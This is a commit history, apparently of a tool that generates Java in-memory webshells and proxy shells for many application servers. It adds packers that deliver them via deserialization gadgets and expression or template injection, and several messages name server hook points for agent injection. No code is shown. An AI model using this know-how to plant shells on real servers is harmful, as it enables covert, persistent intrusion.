ReaJason 5f48dd4c95 ci: rm useless steps 2025-03-09 02:14:02 +08:00
ReaJason ab4154c90c build: reduce image size 2025-03-09 02:13:35 +08:00
ReaJason 775b4eec9a docs: update CHANGELOG 2025-03-01 23:16:31 +08:00
ReaJason f6f2611b92 chore: enhance phone ui 2025-03-01 23:11:41 +08:00
ReaJason 6292e6b8b2 feat(ui): support show update button 2025-03-01 23:11:41 +08:00
ReaJason 6f332a97d8 ci: release body add update steps [skip ci] 2025-03-01 23:11:40 +08:00
ReaJason b71e8ea4de fix(ui): generate fail 2025-02-28 23:25:28 +08:00
ReaJason d14203e78f fix: NeoreGeorg proxy not work 2025-02-28 23:24:31 +08:00
ReaJason 839653bd01 style: format code 2025-02-28 22:44:10 +08:00
ReaJason badf60ebd4 chore: upgrade Gradle 8.13 2025-02-28 22:41:09 +08:00
ReaJason 6be832494d refactor(ui): separate each component into single file 2025-02-28 22:40:45 +08:00
ReaJason 945956ca16 fix: use server shell tool order 2025-02-28 22:40:45 +08:00
ReaJason 1f158158f6 refactor: simplify valve shell code 2025-02-28 22:40:45 +08:00
ReaJason a1bf202066 test: add SpringBoot1 vul case (resolved #22) 2025-02-28 22:40:45 +08:00
ReaJason 2f9ac42a3f feat: support Neo-reGeorg shell generate (#35) 2025-02-28 22:35:14 +08:00
ReaJason bb6a4c4d06 docs: update screenshots 2025-02-27 00:30:01 +08:00
ReaJason d9c0a38460 docs: update CHANGELOG 2025-02-26 20:47:05 +08:00
ReaJason 2c0f52537e test: default shrink enabled 2025-02-26 20:47:05 +08:00
ReaJason 336dcb0fda test: war file error 2025-02-26 20:24:59 +08:00
ReaJason 787e5563b4 feat: support Tomcat Jakarta WebSocket 2025-02-26 20:21:25 +08:00
ReaJason 881587dccf build(ui): enahnce cross-platform dx 2025-02-26 20:20:49 +08:00
ReaJason e10673ab38 fix: custom injectorClassName not work 2025-02-26 20:20:03 +08:00
ReaJason cf2b2af67e feat: support bytecode shrink
1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)
2025-02-26 20:19:30 +08:00
ReaJason 7927611c92 test: test compile error 2025-02-26 20:13:53 +08:00
ReaJason 8aa1e1a773 ci: release body is empty 2025-02-25 01:59:45 +08:00
ReaJason 9cd62a0620 docs: update README 2025-02-25 01:41:40 +08:00
ReaJason d004ed1dbc test: test order list is important 2025-02-25 01:41:28 +08:00
ReaJason bc103376d3 test: random name hit key words 2025-02-25 00:45:20 +08:00
ReaJason 9bc73c8002 docs: update CHANGELOG 2025-02-25 00:39:24 +08:00
ReaJason 056cab6c19 docs: add Dockerfile build steps (resolved #44) 2025-02-25 00:31:08 +08:00
ReaJason a00871bcb2 ci: rm useless arg 2025-02-25 00:14:24 +08:00
ReaJason d623477107 build: build docker image with one Dockerfile (#44) 2025-02-25 00:14:11 +08:00
ReaJason a99f1e8a6d build: optimize copy html script 2025-02-25 00:12:38 +08:00
ReaJason e90efdc036 chore: update deps 2025-02-25 00:11:37 +08:00
ReaJason 85828f7975 fix: tomcat WebSocket shell not work (#25) 2025-02-25 00:11:16 +08:00
ReaJason 5b838adbe9 refactor: move class 2025-02-25 00:09:44 +08:00
ReaJason cc87efcddf test: fix failed cases 2025-02-23 18:11:49 +08:00
ReaJason 5f43eae694 chore: update gitignore 2025-02-23 16:58:28 +08:00
ReaJason bad9f2f786 build: support auto download toolchains 2025-02-23 16:53:01 +08:00
ReaJason a6ba2d0a3a docs: add local build command 2025-02-23 16:51:22 +08:00
ReaJason a861effd12 build(boot): Dockerfile support BOOT_OPTS env 2025-02-23 16:45:27 +08:00
ReaJason 7e84cab7bc refactor: supported unified test cases provider 2025-02-23 16:44:35 +08:00
ReaJason f1d797295c build(ui): support base_path 2025-02-23 02:33:09 +08:00
ReaJason 164d59c65a fix(ui): version show html when it failed 2025-02-23 02:33:09 +08:00
ReaJason 3274e8421d feat: support shell registry for all server 2025-02-23 02:33:09 +08:00
ReaJason 1980ae7072 refactor: simplify valve shell register 2025-02-23 02:33:09 +08:00
ReaJason 3438d07f6d chore: rm debug log 2025-02-23 02:33:09 +08:00
ReaJason ebb9b35a17 refactor: optimize import 2025-02-23 02:33:09 +08:00
ReaJason d64a8b9e6b test: rm log 2025-02-23 02:33:09 +08:00
ReaJason b35aafd77b refactor: move members 2025-02-23 02:33:09 +08:00
ReaJason 2dd794faf1 fix: undertow listener failed 2025-02-23 02:33:09 +08:00
ReaJason 4efc6a7562 refactor: rm useless code 2025-02-23 02:33:09 +08:00
ReaJason 258c42adc0 test: class import error 2025-02-23 02:33:09 +08:00
ReaJason 5084a0b850 refactor: simplify memshell generate map register 2025-02-23 02:33:09 +08:00
ReaJason f27b06fc0b ci: set-output command is deprecated 2025-02-23 02:33:09 +08:00
ReaJason 87ba8403db ci: optimize docker push order 2025-02-23 02:33:09 +08:00
ReaJason 185be332a5 ci: change scripts location 2025-02-23 02:33:09 +08:00
ReaJason ef6ca026f2 fix(ui): shell type not reset when server changed 2025-02-21 00:32:24 +08:00
ReaJason 064c73b4e7 ci: support jar file release 2025-02-21 00:16:48 +08:00
ReaJason 6cb42ed954 fix: remove log 2025-02-20 23:59:23 +08:00
ReaJason d92b052428 docs: update CHANGELOG 2025-02-20 23:53:26 +08:00
ReaJason 8c6a67dcc8 feat: add loading component 2025-02-20 23:52:02 +08:00
ReaJason 2db337d85c fix(ui): shell type not changed when server changed 2025-02-20 23:45:52 +08:00
ReaJason b1f963f1a3 test: change deserialize image name 2025-02-20 23:32:00 +08:00
ReaJason ac9c0ec171 docs: update 2025-02-20 23:19:07 +08:00
ReaJason e1f23f52c4 ci: not run test in tag push [skip ci] 2025-02-20 23:19:07 +08:00
ReaJason 0fe7a3d345 chore: remove redundant dep 2025-02-20 23:13:23 +08:00
ReaJason 53999f3e71 fix(ui): packResult not changed when regenerate 2025-02-20 22:28:34 +08:00
ReaJason 42faa786cb chore: gradle 8.12.1 2025-02-20 22:28:34 +08:00
ReaJason a964ada4df chore: rm socket dep 2025-02-20 22:28:34 +08:00
ReaJason f3ced55d8a feat: support hessian packer (#36) 2025-02-20 22:28:34 +08:00
ReaJason 4a7301c7f0 refactor: rename class 2025-02-20 22:04:00 +08:00
ReaJason 75b32773a4 chore: upgrade testcontainers and junit 2025-02-20 21:56:42 +08:00
ReaJason d482707465 docs: update CHANGELOG 2025-02-19 22:21:17 +08:00
ReaJason bad3815107 test: deserialize test container startup failed 2025-02-19 22:21:17 +08:00
ReaJason bfae5e10d3 feat: enhance responsive layout and improve i18n support (#39) 2025-02-19 22:21:17 +08:00
ReaJason 328fee0286 fix: cb110 serializeVersionUID change failed 2025-02-19 22:21:17 +08:00
ReaJason 41d2ea5c6d test: add CB4 multi version gadgets integration test 2025-02-19 22:21:17 +08:00
ReaJason 7d567beba9 test: use annotation to simplify register servlet 2025-02-19 22:21:17 +08:00
ReaJason 8bb3158fe6 ci: skip png file push 2025-02-19 00:30:01 +08:00
ReaJason fd914c014a docs: update screenshots 2025-02-19 00:25:31 +08:00
ReaJason 8299a23ba0 docs: update CHANGELOG 2025-02-19 00:10:04 +08:00
ReaJason 6ca61098df docs: add changelog 2025-02-19 00:04:29 +08:00
ReaJason 6810bea753 fix: keyword is not allowed for classname 2025-02-19 00:04:29 +08:00
ReaJason e10915784c test: rm failed case 2025-02-19 00:04:29 +08:00
ReaJason 2f256fc97e feat: support AntSword shell generate (#34) 2025-02-19 00:04:29 +08:00
ReaJason f38b72fb5f feat: support cb4 other version payload packers 2025-02-19 00:04:29 +08:00
ReaJason 243dd20531 docs: fix typo 2025-02-17 22:39:09 +08:00
ReaJason 6a38aee2d9 docs: change notes location 2025-02-16 00:08:15 +08:00
ReaJason 9c53c599a3 docs: update badges 2025-02-15 23:45:43 +08:00
ReaJason b585c5ff0b docs: update README 2025-02-15 23:31:52 +08:00
ReaJason 10147b5cd2 fix: optimize form fields reset 2025-02-15 14:12:26 +08:00
ReaJason 368730bfd2 docs: update CHANGELOG 2025-02-15 13:50:04 +08:00
ReaJason d02a2c245a docs: update README 2025-02-15 13:50:04 +08:00
ReaJason 7c1995fabd ci: test not run in other branck 2025-02-15 13:50:04 +08:00
ReaJason f961b2aafa build: version not work in IDEA 2025-02-15 13:50:04 +08:00
ReaJason 3f6821181c chore: upgrade to Tailwind CSS v4 2025-02-15 13:50:04 +08:00
ReaJason abfa1af36d fix: sonner theme not work 2025-02-15 13:50:04 +08:00
ReaJason 0bd7da4ffa feat(ui): support suo5 generate 2025-02-15 13:50:04 +08:00
ReaJason 142a9e2c47 feat: support other middleware suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason 98f44cad3b feat: support tomcat suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason ce0159d8f4 docs: update README 2025-02-03 01:46:07 +08:00
ReaJason dec415cdc1 ci: parse changelog failed 2025-02-03 01:24:13 +08:00
ReaJason b1f30ffeea ci: release body is empty 2025-02-03 01:10:28 +08:00
ReaJason ba7f86b92f build: boot docker build error 2025-02-03 00:47:12 +08:00
ReaJason 35382695e0 ci: add needs 2025-02-03 00:35:51 +08:00
ReaJason 4f0671dbe0 ci: do not run test in release ci 2025-02-03 00:35:34 +08:00
ReaJason 1db9cf2bc0 docs: add v1.0.0 changelog 2025-02-03 00:26:50 +08:00
ReaJason 44fa46fbc1 ci: add release ci 2025-02-03 00:26:35 +08:00
ReaJason 65bef5ffb6 feat: add version badge in ui 2025-02-03 00:25:45 +08:00
ReaJason 9ea8dad68b ci: rm coverage 2025-02-02 22:22:40 +08:00
ReaJason a446da4bb7 chore: unify project version 2025-02-02 22:20:47 +08:00
ReaJason 5b9b890fc8 ci: auto deploy [skip ci] 2025-02-02 17:40:44 +08:00
ReaJason 164a27bafd ci: image name error [skip ci] 2025-02-02 15:28:45 +08:00
ReaJason 1bd24e9b01 ci: syntax error [skip ci] 2025-02-02 15:22:16 +08:00
ReaJason 2f9e587e73 ci: fetch depth 0 [skip ci] 2025-02-02 15:18:21 +08:00
ReaJason 9093c2c7be ci: add GitHub container docker push 2025-02-02 15:18:05 +08:00
ReaJason 2440a2fb2e refactor: rename packer 2025-01-30 20:49:56 +08:00
ReaJason b9c05453ef feat: support bsh packer 2025-01-30 18:09:44 +08:00
ReaJason 1f94ca41f6 feat: support rhino and jinjava packer 2025-01-30 17:24:14 +08:00
ReaJason dad1f83365 ci: update badge 2025-01-29 14:19:20 +00:00
ReaJason c808a52d4e feat: support more expression packer 2025-01-29 22:05:25 +08:00
ReaJason 410ee1eff7 refactor: simplify expression packer 2025-01-29 19:58:02 +08:00
ReaJason 6fcf159d1f feat: support mvel packer 2025-01-29 19:54:17 +08:00
ReaJason ee400fa5d2 docs: update screenshots 2025-01-29 11:39:36 +08:00
ReaJason 9b87180075 fix: build error 2025-01-27 17:42:05 +08:00
ReaJason d6ceb1b422 ci: update badge 2025-01-27 09:24:30 +00:00
ReaJason 0d2f6a26b7 test: build error 2025-01-27 17:07:18 +08:00
ReaJason ebfa661b66 feat: support multi payload generate 2025-01-27 17:02:32 +08:00
ReaJason 4a505d928f refactor: shell mount type ordered 2025-01-27 16:24:27 +08:00
ReaJason 55dffd2562 ci: update badge 2025-01-25 12:47:36 +00:00
ReaJason 988d751129 refactor: use platform to manage dependency
1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)
2025-01-25 20:30:08 +08:00
ReaJason ecbde7dbae ci: update badge 2025-01-23 00:34:16 +00:00
ReaJason ee118bd139 refactor: simplify XXLJOB packer 2025-01-23 08:25:44 +08:00
ReaJason 706f5ad37d ci: update badge 2025-01-22 11:03:35 +00:00
ReaJason 8a3cd76b25 test: resin and jetty failed 2025-01-22 18:50:25 +08:00
ReaJason f9eb9dafa4 feat: support xxl-job executor NettyHandler (#30)
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
2025-01-22 18:36:19 +08:00
ReaJason 08ffa47531 feat: support jar packer 2025-01-22 18:29:42 +08:00
ReaJason 51cda2b2ba feat: support GZIPBase64 packer 2025-01-22 18:29:42 +08:00
ReaJason aff74ad27e fix: build error 2025-01-20 00:39:14 +08:00
ReaJason 9154b1b46c feat: support i18n [skip ci] 2025-01-20 00:34:10 +08:00
ReaJason f78c83d901 docs: update README 2025-01-18 20:25:54 +08:00
ReaJason 86032a7131 ci: update badge 2025-01-18 12:24:05 +00:00
ReaJason 406d49b36e test: npe 2025-01-18 20:14:47 +08:00
ReaJason a3f835bc84 docs: update screenshots 2025-01-18 20:00:40 +08:00
ReaJason 88a26e9ba0 refactor: enhance web ux 2025-01-18 20:00:24 +08:00
ReaJason 70eef7faee fix: tomcat filter shell not work
tomcat filter shell classname startsWith org.apache.catalina.web.handlers will not work
2025-01-18 19:54:04 +08:00
ReaJason 216b967463 refactor: rename webflux 2025-01-18 18:28:46 +08:00
ReaJason 8c04e60c11 refactor: rename springwebmvc 2025-01-18 18:28:46 +08:00
ReaJason ee6490cf34 feat: support springwebmvc agent shell
1. hook point is org.springframework.web.servlet.FrameworkServlet.service
2025-01-18 18:28:46 +08:00
ReaJason 06b952b0ab ci: update badge 2025-01-09 17:37:27 +00:00
ReaJason 3af7716dfe Revert "fix: GlassFish war deploy failed"
This reverts commit 974cf3ccaa.
2025-01-10 01:28:08 +08:00
ReaJason fc386c60e6 docs: update README 2025-01-10 01:15:49 +08:00
ReaJason c622b1f4a8 feat: support JBossAS contextValve agent shell 2025-01-10 01:15:40 +08:00
ReaJason e6fb68b0e7 feat: suport bes agent shell 2025-01-10 01:07:34 +08:00
ReaJason b0c31ff7fd feat: support TongWeb agent shell 2025-01-10 00:56:58 +08:00
ReaJason 974cf3ccaa fix: GlassFish war deploy failed 2025-01-10 00:56:26 +08:00
ReaJason e1f4921a2e feat: support inforsuite agent shell 2025-01-10 00:56:26 +08:00
ReaJason 14a7a9bac6 feat: support GlassFish agent shell (#23)
1. hook point1 is org.apache.catalina.core.ApplicationFilterChain.doFilter
2. hook point2 is org.apache.catalina.core.StandardContextValve.invoke
3. GlassFish use osgi module, cipher class not in web-core, so that should use ContextClassLoader (resolved #23)
2025-01-10 00:56:26 +08:00
ReaJason 1cd05fd89f feat: support tomcat context valve agent shell 2025-01-10 00:56:26 +08:00
ReaJason 1efbdfff6f ci: update badge 2025-01-08 17:15:41 +00:00
ReaJason c5b50ddf73 docs: update README 2025-01-09 01:06:33 +08:00
ReaJason 5afa5da5f3 feat: support jetty agent shell (#19)
1. hook point is org.eclipse.jetty.servlet.ServletHandler.doHandle
2. it doesn't support jetty6, org.mortbay.jetty.servlet.ServletHandler#handle, because ldc visit cannot support java1.4
2025-01-09 01:04:31 +08:00
ReaJason 1f272e1dc9 docs: update README 2025-01-08 00:03:05 +08:00
ReaJason 7aeeb6d6db ci: update badge 2025-01-07 15:39:06 +00:00
ReaJason 09ee91fd34 feat: support undertow agent shell (#21)
1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21
2. fix godzilla payload error in some module system that cost my five hour to debug
2025-01-07 23:26:59 +08:00
ReaJason eb05735dda ci: update badge 2025-01-07 13:27:17 +00:00
ReaJason 6e8a1f7965 ci: was7 failed 2025-01-07 21:18:32 +08:00
ReaJason cf8b2793bf test: unit test npe 2025-01-07 20:44:05 +08:00
ReaJason d6570007cc feat: support resin agnet shell(#20)
hook point is com.caucho.server.dispatch.FilterFilterChain.doFilter (resolved #20)
2025-01-07 20:28:51 +08:00
ReaJason 37733e0b98 feat: support jbossas agent shell 2025-01-07 10:02:51 +08:00
ReaJason 9ce0e182ba test: add nettyHandler test 2025-01-07 10:02:51 +08:00
ReaJason 4b391955e4 feat: use ldc and reflection (#26)
1. remove servlet-api dependency
2. remove class reference (resolved #26), but it doesn't work for java4
2025-01-07 10:02:51 +08:00
ReaJason 507061a258 fix: change weblogic agent hook 2025-01-07 10:02:51 +08:00
ReaJason ff40e5c3fb fix: was7 agent shell fail sometime 2025-01-07 10:02:51 +08:00
ReaJason 72b4effa35 ci: update badge 2025-01-05 07:54:03 +00:00
ReaJason 0f47ce3d0a docs: update CONTRIBUTING 2025-01-05 15:44:57 +08:00
ReaJason 475fca0221 feat: support webflux netty shell (#8) 2025-01-05 15:44:43 +08:00
ReaJason 0b2eea91ab test: add websphere7 integration test (resolved #16) 2025-01-04 23:24:11 +08:00
ReaJason 90f848d4f7 docs: update README 2025-01-04 11:26:41 +08:00
ReaJason 768fc76ac6 ci: update badge 2025-01-04 03:24:26 +00:00
ReaJason 3d9534a402 ci: websphere agent test failed 2025-01-04 11:18:03 +08:00
ReaJason 514cc4ff30 fix: build error 2025-01-04 10:51:45 +08:00
ReaJason 7778ec3f5e ci: only support manually push 2025-01-04 10:48:57 +08:00
ReaJason 6026eb9165 feat: support was and weblogic agent shell 2025-01-03 22:05:54 +08:00
ReaJason 550ea678e5 feat: tomcat agent support jdk6 2025-01-03 02:16:51 +08:00
ReaJason ceacef5cf3 ci: update badge 2025-01-02 17:32:12 +00:00
ReaJason 061b51b9b1 fix: boot jar dependencies copy error 2025-01-03 01:25:45 +08:00
ReaJason 1c3948d9a9 ci: update badge 2025-01-02 16:50:43 +00:00
ReaJason a8728a6e33 fix: spring shell generate error 2025-01-03 00:43:03 +08:00
ReaJason dd5b7c0366 feat: support tomcat agent shell (resolved #12) 2025-01-03 00:25:56 +08:00
ReaJason 7e3bd95a2c style(ui): unify font size 2024-12-31 12:07:56 +08:00
ReaJason 692d16f9a4 fix: copyToClipboard button not work 2024-12-31 11:41:08 +08:00
ReaJason 8f7884ce48 ci: add unit test for boot 2024-12-31 01:21:21 +08:00
ReaJason fb421e48ee fix: boot run failed 2024-12-30 23:20:16 +08:00
ReaJason 8e8b344bdd docs: update 2024-12-28 01:11:23 +08:00
ReaJason e99f2e13b4 docs: update README 2024-12-28 01:03:23 +08:00
ReaJason 50228c854d ci: update badge 2024-12-27 16:58:31 +00:00
ReaJason c0231c7fc4 refactor: simplify code 2024-12-28 00:52:28 +08:00
ReaJason 8784c7556e feat: support apusic shell generate (#10) 2024-12-27 20:39:09 +08:00
ReaJason c1d22394de docs: update screenshot [skip ci] 2024-12-27 01:02:02 +08:00
ReaJason 30a71006b1 docs: update README 2024-12-27 00:57:59 +08:00
ReaJason 883a9d29ef docs: update README 2024-12-27 00:45:54 +08:00
ReaJason 4702806117 ci: update badge 2024-12-26 15:52:46 +00:00
ReaJason da182a8df5 feat: support tongweb shell generate (resolved #11) 2024-12-26 23:45:58 +08:00
ReaJason ab0b6131f0 perf: support bes symbol name 2024-12-26 21:54:18 +08:00
ReaJason 526d610ecc refactor: rename [skip ci] 2024-12-26 21:46:21 +08:00
ReaJason 6c42417adf ci: update badge 2024-12-26 13:40:42 +00:00
ReaJason b995f301ab fix: glassfish7 listener failed 2024-12-26 21:34:26 +08:00
ReaJason 381ddcb5d6 docs: update README 2024-12-26 21:19:51 +08:00
ReaJason d761b6f1fb feat: support bes shell generate (#9) 2024-12-26 21:19:51 +08:00
ReaJason 73d2f80658 refactor: simplify code 2024-12-26 21:19:51 +08:00
ReaJason 2aa8a1e0b1 docs: update issue templates [skip ci] 2024-12-26 01:12:03 +08:00
ReaJason 4eea7b2347 ci: update badge 2024-12-25 17:05:07 +00:00
ReaJason 013745b77c feat: support spring webflux shell generate (resolved #6) 2024-12-26 00:59:24 +08:00
ReaJason 4e53d03d26 ci: support manually run build ci [skip ci] 2024-12-24 22:55:02 +08:00
ReaJason 0de59c8211 docs: update README 2024-12-24 22:50:10 +08:00
ReaJason d8285923ca feat: add copy button for className 2024-12-24 22:50:10 +08:00
ReaJason 3b9d6b2daa chore(web): upgrade dependencies 2024-12-24 22:50:10 +08:00
ReaJason 4caaf3a21f ci: update badge 2024-12-24 13:32:37 +00:00
ReaJason d9dc9af29a test: change vul war location 2024-12-24 21:26:39 +08:00
ReaJason ba2b74af66 feat: support weblogic servlet (resolved #5) 2024-12-24 21:09:49 +08:00
ReaJason 89472ceee1 docs: update README 2024-12-24 02:40:31 +08:00
ReaJason 78168c1b56 ci: update badge 2024-12-23 18:37:18 +00:00
ReaJason 5ef8a40160 ci: add weblogic test 2024-12-24 02:30:14 +08:00
ReaJason 9bd893f087 feat: support inforsuite shell generate 2024-12-24 02:26:30 +08:00
ReaJason b0e2e7469f feat: support weblogic filter listener (#5) 2024-12-24 02:09:39 +08:00
ReaJason b340b53357 refactor: rename class 2024-12-24 00:15:12 +08:00
ReaJason 1a4d57c58d fix: behinder response wrapper 2024-12-22 20:49:56 +08:00
ReaJason 72f1d7fa48 docs: update README 2024-12-22 18:15:08 +08:00
ReaJason 2d60b1e175 ci: update badge 2024-12-22 10:04:25 +00:00
ReaJason 527d3ebaed fix: boot-ui not behinder select option 2024-12-22 17:58:49 +08:00
ReaJason 14b9bcc00c feat: boot-ui support behinder 2024-12-22 17:37:21 +08:00
ReaJason 29e9d2b32a ci: update badge 2024-12-22 08:58:01 +00:00
ReaJason bdefe3928c fix: behinder outputStream methodNotFound 2024-12-22 16:51:24 +08:00
ReaJason 61b31f730f test: vul file not found 2024-12-22 16:41:36 +08:00
ReaJason 77e5371fa8 feat: support springmvc shell generate 2024-12-22 16:29:02 +08:00
ReaJason 91181ffc55 refactor: change vul modules structure 2024-12-22 10:42:48 +08:00
ReaJason 0fea777294 docs: update README 2024-12-22 01:35:24 +08:00
ReaJason b22f73c61f docs: update README [skip ci] 2024-12-22 01:23:17 +08:00
ReaJason b374f3b384 chore: upgrade gradle 8.12 2024-12-22 01:23:03 +08:00
ReaJason 3f1ea88854 ci: update badge 2024-12-21 16:20:43 +00:00
ReaJason 277020145a test: skip jboss4 behinder test (it does'n work) 2024-12-22 00:15:27 +08:00
ReaJason 01fd2ecb80 feat: support behinder shell generate 2024-12-22 00:05:01 +08:00
ReaJason 100b4e5d9b ci: update badge 2024-12-21 12:59:02 +00:00
ReaJason 3f00189f8e test: speedup glassfish4 container 2024-12-21 20:53:21 +08:00
ReaJason debbbd5305 feat: support websphere shell generate (#2) 2024-12-21 19:54:31 +08:00
ReaJason 2e08e5fd22 ci: update badge 2024-12-21 07:20:57 +00:00
ReaJason 4caeca44f8 feat: support resin servlet (#2) 2024-12-21 14:51:12 +08:00
ReaJason 6bba432491 ci: update badge 2024-12-21 06:19:16 +00:00
ReaJason fcaf0cae6b feat: support undertow servlet (#2) 2024-12-21 14:13:49 +08:00
ReaJason 524b65b25b ci: update badge 2024-12-20 17:30:55 +00:00
ReaJason 7ae2d76b19 test: glassfish4 use jdk8 2024-12-21 01:25:58 +08:00
ReaJason 10c8214631 ci: glassfish 3 and 4 not stable 2024-12-21 00:43:13 +08:00
ReaJason aa7ecb1587 feat: support jetty servlet (#2) 2024-12-21 00:42:53 +08:00
ReaJason 0e5b8efdeb fix: jetty filter isInjected not work 2024-12-21 00:42:10 +08:00
ReaJason 87f2bd2840 ci: build workflow should behind test 2024-12-20 23:39:48 +08:00
ReaJason cfb64ba91a test: jboss7+ not deserialize failed 2024-12-20 23:39:29 +08:00
ReaJason 14212c1344 test: unit test symbol not found 2024-12-20 23:31:36 +08:00
ReaJason a7522b4982 feat: support tomcat websocket shell 2024-12-20 23:28:30 +08:00
ReaJason 93e10425cd refactor: unify code style 2024-12-20 23:26:13 +08:00
ReaJason 635e55350d docs: update README 2024-12-20 02:34:05 +08:00
ReaJason b14d43ce70 ci: bun run failed 2024-12-20 02:33:37 +08:00
ReaJason 4df3c2c7b9 ci: boot build failed 2024-12-20 01:38:13 +08:00
ReaJason 631fd76879 ci: update badge 2024-12-19 17:38:04 +00:00
ReaJason ab1e1d124f fix: file name error 2024-12-20 01:32:11 +08:00
ReaJason 75f99f281b ci: build failed 2024-12-20 01:24:31 +08:00
ReaJason 3b0aeaa294 feat: support boot-ui 2024-12-20 01:15:12 +08:00
ReaJason da4a5b234d feat: support tomcat11-jre21 2024-12-20 01:09:34 +08:00
ReaJason d57fece0ca docs: add TG group 2024-12-16 23:38:13 +08:00
ReaJason a63a33d5dd docs: add CONTRIBUTE.md [skip ci] 2024-12-15 20:14:06 +08:00
ReaJason caf1cb4fb2 ci: run all integration-test as posible 2024-12-15 20:13:10 +08:00
ReaJasonandReaJason 0972d714d7 feat: add tomcat servlet shell (#2) (#3)
* feat: support tomcat servlet shell

* test: glassfish 3 and 4 not work

* ci: update badge

---------

Co-authored-by: ReaJason <[email protected]>
2024-12-15 16:02:22 +08:00
ReaJason 58045d0bb3 ci: cancel if new push 2024-12-15 09:53:20 +08:00
ReaJason dc7c3dc0ac refactor: code format 2024-12-15 09:52:09 +08:00
ReaJason 40b1e0a7b5 Update issue templates [skip ci] 2024-12-15 01:26:30 +08:00
ReaJason 1bdb2a581c ci: update badge 2024-12-14 17:17:50 +00:00
ReaJason 9173695ab9 test: glassfish 3 and 4 not work 2024-12-15 01:12:20 +08:00
ReaJason eba4381256 feat: support payara shell generate 2024-12-15 01:03:00 +08:00
ReaJason 3dcf0c2b56 ci: update badge 2024-12-14 13:53:00 +00:00
ReaJason ab764cbdd0 test: glassfish3 not started 2024-12-14 21:47:22 +08:00
ReaJason 895c3cbc4b test: glassfish4 not started 2024-12-14 21:41:17 +08:00
ReaJason a4e3e4f697 fix: jboss6 scan overflow with spring 2024-12-14 21:32:57 +08:00
ReaJason 28a34cbf89 fix: tomcat6 jsp LinkageError 2024-12-14 20:40:18 +08:00
ReaJason 63207195a2 ci: add resin test 2024-12-14 20:05:21 +08:00
ReaJason 8a83ba1bf6 fix: unit test error 2024-12-14 20:04:49 +08:00
ReaJason b52f44bc6a fix: compile error 2024-12-14 19:54:39 +08:00
ReaJason 7ce0bf6446 fix: jetty11 jsp not work 2024-12-14 19:52:15 +08:00
ReaJason 51342c36ad refactor: deserialize 2024-12-14 19:34:06 +08:00
ReaJason 8a709a1f23 feat: support resin shell generate 2024-12-14 19:33:19 +08:00
ReaJason 6a5858ab2f feat: support ssti and expression packer 2024-12-14 19:28:13 +08:00
ReaJason 1987142a48 fix: jsp execute fail in module system 2024-12-14 16:56:53 +08:00
ReaJason 800932118e fix: byPassModule not work 2024-12-14 16:26:03 +08:00
ReaJason acfa63c83b ci: update badge 2024-12-12 18:46:39 +00:00
ReaJason e1d851bcba fix: glassfish container not run in expected 2024-12-13 02:41:41 +08:00
ReaJason d9a7bacde3 fix: glassfish upload error 2024-12-13 02:30:27 +08:00
ReaJason f2a8bfe299 fix: unsupported server 2024-12-13 02:15:44 +08:00
ReaJason 9587d916bc test: rm jetty jsp upload test 2024-12-13 02:10:49 +08:00
ReaJason becead8b71 ci: add glassfish test 2024-12-13 01:42:42 +08:00
ReaJason 149ce07dab feat: support glassfish shell generate 2024-12-13 01:39:24 +08:00
ReaJason 9c4f48895a feat: logRemover support Logger.info and warning 2024-12-13 00:37:27 +08:00
ReaJason 88e09ddbc1 ci: update badge 2024-12-10 18:03:38 +00:00
ReaJason f1bb363c37 fix: server not supported 2024-12-11 01:56:30 +08:00
ReaJason 3b4a35396d ci: integration print log 2024-12-11 01:55:14 +08:00
ReaJason 9374696515 ci: add wildfly 2024-12-11 01:47:32 +08:00
ReaJason 1712608b0b style: code format 2024-12-11 01:35:41 +08:00
ReaJason c30a00146d feat: support jboss and undertow 2024-12-11 01:31:20 +08:00
ReaJason af781e80a9 ci: update badge 2024-12-10 13:11:57 +00:00
ReaJason 5e0b47956d feat: support deserialize packer (but only CB4) 2024-12-10 21:07:41 +08:00
ReaJason 60345851f5 fix: jetty 10 and 11 filter add first failed 2024-12-10 21:05:52 +08:00
ReaJason d6101434ce ci: dependency error 2024-12-09 23:32:07 +08:00
ReaJason 3db5f3743a ci: jacoco execution data not found 2024-12-09 23:30:34 +08:00
ReaJason 57a1f97963 ci: coverage run failed 2024-12-09 23:06:03 +08:00
ReaJason feb4dbe39a ci: separate unit test and integration test 2024-12-09 22:33:34 +08:00
ReaJason 5594e33ce9 fix: jetty ScriptEngine not work 2024-12-09 21:06:23 +08:00
ReaJason 1e93e289c8 test: add jetty ScriptEngine test 2024-12-09 21:05:50 +08:00
ReaJason 77de947722 ci: update badge 2024-12-09 12:32:26 +00:00
ReaJason 58fe9cf387 test: compile error 2024-12-09 20:29:17 +08:00
ReaJason 76f3ed4695 feat: support debug mode 2024-12-09 20:24:58 +08:00
ReaJason e28ddf9972 fix: tomcat5 valve not work 2024-12-09 01:27:08 +08:00
ReaJason 12519d4a0f ci: update badge 2024-12-08 15:29:18 +00:00
ReaJason 742b63890a test: add tomcat5 container 2024-12-08 23:26:32 +08:00
ReaJason e058f00691 ci: update badge 2024-12-08 09:03:10 +00:00
ReaJason 7d255a6b5e ci: add paths-ignore 2024-12-08 17:00:03 +08:00
ReaJason f7fc98b388 feat: add boot and webui 2024-12-08 16:59:18 +08:00
ReaJason 146f67c653 refactor: extract super class 2024-12-08 16:51:50 +08:00
ReaJason fe3a77774b ci: update badge 2024-12-07 12:20:50 +00:00
ReaJason c9cd7c1eed feat: support jetty shell generate 2024-12-07 20:17:40 +08:00
ReaJason cde67580a9 refactor: simplify ByPassJdkModuleInterceptor 2024-12-07 11:06:45 +08:00
ReaJason ce2d3da47b ci: update badge 2024-12-06 18:17:48 +00:00
ReaJason 1639ea1e93 test: container not auto start 2024-12-07 02:15:15 +08:00
ReaJason a0a79a68f7 refactor: separate generate config 2024-12-07 01:49:12 +08:00
ReaJason 3af6c3fa8f build: upgrade project JDK 8 to 17 2024-12-05 22:42:02 +08:00
ReaJason cb501e07f6 docs: unify badge style 2024-12-05 22:40:49 +08:00
ReaJason a9ded0670e test: use method parameters 2024-12-05 22:40:01 +08:00
ReaJason 3a2e0392da ci: update badge 2024-12-04 15:21:08 +00:00
ReaJason f4f0d5608c fix: godzilla listener check error 2024-12-04 23:19:00 +08:00
ReaJason b5a91fa4e6 ci: update badge 2024-12-04 14:43:21 +00:00
